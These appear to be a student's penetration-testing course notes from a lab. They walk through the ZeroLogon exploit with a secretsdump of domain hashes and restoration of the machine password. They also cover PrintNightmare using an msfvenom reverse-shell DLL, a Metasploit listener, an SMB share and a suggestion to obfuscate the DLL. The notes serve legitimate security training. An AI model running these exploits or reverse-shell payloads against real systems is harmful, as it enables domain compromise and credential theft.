


01 - Section Overview

These should be reserved for worst case scenario.



The slide features a dark background with a purple and red gradient header. On the left, the title 'Recent (and Relevant) Vulnerabilities' is displayed in white. On the right, under the heading 'Overview', there is a bulleted list. The TCM Security logo is in the top right corner, and a hamburger menu icon with 'TCM Security' text is in the bottom left corner.

Recent (and Relevant) Vulnerabilities

Overview

- Active Directory vulnerabilities occur all the time.
- Recent major vulnerabilities include:
 - ZeroLogon
 - PrintNightmare
 - Sam the Admin
- It's worth checking for these vulnerabilities, but you should not attempt to exploit them unless your client approves

All of this, we need to run checkers first, and then ask the client before using it.

ZeroLogon could destroy an entire domain.

02 - Abusing ZeroLogon

Resources:

https://www.trendmicro.com/en_us/what-is/zerologon.html

dirkjanm CVE-2020-1472 - <https://github.com/dirkjanm/CVE-2020-1472>

SecuraBV ZeroLogon Checker - <https://github.com/SecuraBV/CVE-2020-1472>

After running the attack, if we do not restore the password, we can break the server.

Put all tools into the folder. Always run the tester first, to see if the environment is actually vulnerable. If yes, then ask the client about it first. If we have the heads up, we go ahead with the exploit.

To run the Checker, we need the name of the Domain Controller PC Name. In my case "GoingMerry-DC".

```
(root@kali):~/opt/CVE-2020-1472
# python3 zerologon_tester.py GoingMerry-DC 192.168.163.156
Performing authentication attempts ...

Attack failed. Target is probably patched.

(root@kali):~/opt/CVE-2020-1472
# python3 zerologon_tester.py GOINGMERRY-DC 192.168.163.156
Performing authentication attempts ...

Attack failed. Target is probably patched.
```

It looks like our target is patched.

is ZeroLogon patched in Windows Server 2022?

Yes, the ZeroLogon vulnerability, identified as CVE-2020-1472, has been patched in all supported versions of Windows Server, including Windows Server 2022. Microsoft released patches for this critical vulnerability starting in August 2020, and additional security enhancements were included in subsequent updates.

ZeroLogon exploits a vulnerability in the Netlogon protocol, which allowed attackers to establish a vulnerable Netlogon secure channel connection to a domain controller. Since this is a major security risk, Microsoft quickly addressed it, and all up-to-date systems, including Windows Server 2022, should be protected if regular security updates are applied.

🔊 📄 👍 🗨️ ↺ ✓

Is this conversation helpful so far?



Lets just follow along with the step by step.

If the target was vulnerable, then we would run the exploit against the DC IP Address, with the PC name (In my case, it would be GOINGMERRY-DC instead of HYDRA-DC).

```
132 root@kali:~# cd /opt/
root@kali:/opt# cd CVE-2020-1472/
root@kali:/opt/CVE-2020-1472# ls
cve-2020-1472-exploit.py  ntds.sam      restorepassword.py
ntds.ntds               ntds.secrets  zeroologon_check.py
ntds.ntds.cleartext     README.md
ntds.ntds.kerberos      relaying
root@kali:/opt/CVE-2020-1472# python3 zeroologon_check.py HYDRA-DC 192.168.138.132
Performing authentication attempts...
Success! DC can be fully compromised by a Zerologon attack.
root@kali:/opt/CVE-2020-1472# python3 cve-2020-1472-exploit.py HYDRA-DC 192.168.138.132
Performing authentication attempts...
Target vulnerable, changing account password to empty string
Result: 0
Exploit complete!
root@kali:/opt/CVE-2020-1472#
```

To check if it really worked, we can secretsdump the DC using "-just-dc" flag.

```
root@kali: /opt/CVE-2020-1472# secretsdump.py -just-dc MARVEL/HYDRA-DC\%$@192.168.138.132
```

```
Result: 0

Exploit complete!
root@kali: /opt/CVE-2020-1472# secretsdump.py -just-dc
root@kali: /opt/CVE-2020-1472# secretsdump.py -just-dc MARVEL/HYDRA-DC\%$@192.168.138.132
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:920ae267e048417fcfe00f49ecbd4b33:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:26d0985471179e9450e0fed2a8042954:::
MARVEL.local\fcastle:1103:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
MARVEL.local\tsark:1104:aad3b435b51404eeaad3b435b51404ee:d03b572b319e335ecd3e793412a28524:::
MARVEL.local\pparker:1105:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::
HYDRA-DC$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

We can login with psexec, and do whatever we wanted.

Now, to "unbreak" the domain. To restore this machine:

1 - Copy the Administrator NTLM hash.

```
Result: 0

Exploit complete!
root@kali: /opt/CVE-2020-1472# secretsdump.py -just-dc
root@kali: /opt/CVE-2020-1472# secretsdump.py -just-dc MARVEL/HYDRA-DC\%$@192.168.138.132
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:920ae267e048417fcfe00f49ecbd4b33:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:26d0985471179e9450e0fed2a8042954:::
MARVEL.local\fcastle:1103:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
MARVEL.local\tsark:1104:aad3b435b51404eeaad3b435b51404ee:d03b572b319e335ecd3e793412a28524:::
MARVEL.local\pparker:1105:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::
HYDRA-DC$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

2 - Then, we are going to run secretsdump using the admin hash to see password in clear text:

```

root@kali: /opt/CVE-2020-1472# secretsdump.py administrator@192.168.138.132 -hashes aad3b435b51404eeaad3b435b51404ee:920ae267e048417fcfe00f49ecbd4b33
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry

```

We are looking for the "plain password hex". This is what we are going to use to restore the domain.

```

root@kali: /opt/CVE-2020-1472#
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
MARVEL\HYDRA-DC$:aes256-cts-hmac-sha1-96:c2297a5065a255dcd30aa3eae66171d911035581e12bd6b365422080c30916bd
MARVEL\HYDRA-DC$:aes128-cts-hmac-sha1-96:ac3d176fbb1c500b5dce28fc172e5451
MARVEL\HYDRA-DC$:des-cbc-md5:460b6dec3075de9
MARVEL\HYDRA-DC$:plain password hex:d770459e2c100e28ddeb157e110cc0c333d5ce3015018d9834d0911af3e0ecc41457291c0808a188f252165b45fc8719358eecc71ed710d6aa3213578f203634d2c2ac9d675db0f602b126ce8a641d64b70b657630065edc77e84fe3bf1627af872e8d1c20a51ed3ee40559afbba38a628c435f96ec041626312f91c3c08e8f807e2dae2b07ccc2f0a0084fd3b1c04c158e44880420dd3473a464f0c68329c47177620703970ee3bb4086692f7aeb917db3259d9d5d4294f7251befad286b29c158e73b17c2d0feb99730d735284719ff217a2c106f8af1c7c897b4d0a13e0936813df108c0232e0e617c4267f53d36d
MARVEL\HYDRA-DC$:aad3b435b51404eeaad3b435b51404ee:a04fc52ef2229509e7fc4aa38e65939:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x68227797177a97acd06bbb6f983c022cb9196316
dpapi_userkey:0x354df31a9b4602de33bdd8e85c86072c65b2b55a
[*] NLSKM
0000 1F DC 9E AF 2F E7 77 7E 9D F6 4E 77 B5 72 62 A9 .....W-.NW.rb.
0010 80 DD 42 09 33 94 68 16 49 E6 5E 04 BF 27 82 96 ..B.3.h.I.^...'
0020 3B D4 9F B6 01 24 E4 19 7E 37 15 94 75 31 5F 70 :...$.--7..ul p
0030 7A 47 6A 07 34 87 88 CA A4 BE 1B C4 C4 0C 3C FF zGj.4.....S.

```

Copy that hex value.

3 - Now, we are going to run the restorepassword.py script, that should come together with the toolkit.


```

root@kali: /opt/CVE-2020-1472# ls
cve-2020-1472-exploit.py  ntds.sam          restorepassword.py
ntds.ntds                ntds.secrets      zeroologon_check.py
ntds.ntds.cleartext      README.md
ntds.ntds.kerberos       relaying
root@kali: /opt/CVE-2020-1472# python3 restorepassword.py MARVEL\HYDRA-DC@HYDRA-DC -target-ip 192.168.138.132 -hexpass d770459e2c100e28ddeb157e110cc0c333d5ce3015018d9834d0911af3e0ecc41457291c0808a188f252165b45fc8719358eecc71ed710d6aa3213578f203634d2c2ac9d675db0f602b126ce8a641d64b70b657630065edc77e84fe3bf1627af872e8d1c20a51ed3ee40559afbba38a628c435f96ec041626312f91c3c08e8f807e2dae2b07ccc2f0a0084fd3b1c04c158e44880420dd3473a464f0c68329c47177620703970ee3bb4086692f7aeb917db3259d9d5d4294f7251befad286b29c158e73b17c2d0feb99730d735284719ff217a2c106f8af1c7c897b4d0a13e0936813df108c0232e0e617c4267f53d36d

```

This is the DC IP Address.

After running this, we are good to go.



03 - PrintNightmare (CVE-2021-1675)

Walkthrough

This is a post compromise attack, and we do not need a high privileged user to run this.

Resources:

cube0x0 RCE - <https://github.com/cube0x0/CVE-2021-1675>

calebstewart LPE - <https://github.com/calebstewart/CVE-2021-1675>

We can run the following command to check if we are vulnerable:

```
"#rpcdump.py @DC_IP | egrep 'MS-RPRN|MS-PAR'
```

If we get the following response, then the system is vulnerable.

```
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
```

```
(kali㉿kali)-[~]
$ rpcdump.py @192.168.163.156 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
```

We are vulnerable indeed. Mitigation is disabling the service.

Mitigation

Disable Spooler service

```
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
```

We are going to be using the cube0x0 exploit bc it is remote code execution. This is more interesting to us hehe.

We need to install the latest version of impacket, we should have the latest one already.

We need to create and host the malicious dll used to run this exploit.

To create the malicious dll, we are going to be using msfvenom:

```
(kali@kali)-[~/Desktop/TCM-ActiveDirectory-Lab/PrintNightmare]
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.163.133 LPORT=5050 -f dll > shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
```

We are going to be using msfconsole to listen for the reverse shell (listen for the payload).

Fire msfconsole.

Run:

```
"#use exploit/multi/handler"
```

```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > █
```

We need to catch the payload we set in the malicious file.

So, set payload to be the same as the one in the malicious dll file.

Set the correct listening port. In this case, set LPORT=5050.

```
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ---  -
  PAYLOAD  generic/shell_reverse_tcp  yes  The name of the payload to be sent to the target.

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name  Current Setting  Required  Description
  ---  -
  EXITFUNC  process  yes  Exit technique (Accepted: '', seh, thread, process, none)
  LHOST  192.168.163.133  yes  The listen address (an interface may be specified)
  LPORT  5050  yes  The listen port

Exploit target:

  Id  Name
  --  -
  0  Wildcard Target

View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > █
```

LHOST is the machine that is going to be listening for the reverse tcp connection. In our case, the attacker machine ip (you kali IP).

Now, we need to set up a file share. Run:

```
"#smbserver.py share 'pwd' "
```



```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/PrintNightmare]
$ smbserver.py share 'pwd'
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

We have set up everything.

Now, we just need a user pass,, and the domain controller. It does not need to be an admin user.

Run:

```
"#python3 CVE-2021-1675.py onepiece.local/lmonkey:Password1@192.168.163.156
'\\192.168.163.133\share\shell.dll' "
```

```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/PrintNightmare]
$ python3 CVE-2021-1675.py onepiece.local/lmonkey:Password1@192.168.163.156 '\\192.168.163.133\share\shell.dll'
[*] Connecting to ncacn_np:192.168.163.156[\PIPE\spoolss]
[+] Bind OK
[-] Failed to enumerate remote pDriverPath
RPRN SessionError: unknown error code: 0x8001011b
```

Looks like it has been patched. The error code is for *RPC_E_ACCESS_DENIED* which suggests that we do not have access to the service. Or we do not have access to do what ever exactly we are trying to do to the service in the exploit.

We need to search more about this. Is there a way we can bypass this? We do have other methods to try to breach the DC. Would it be worth it to try to come up with a way to make PrintNightmare work or would we be better off moving on to try other methods?

I believe it is going to depend. If the domain is vulnerable to this, after running the check, it is worth it to run the attack with all the credentials we could capture along the pentest.

obfuscate dll, and it should work is what Heath says. Lets search more on that.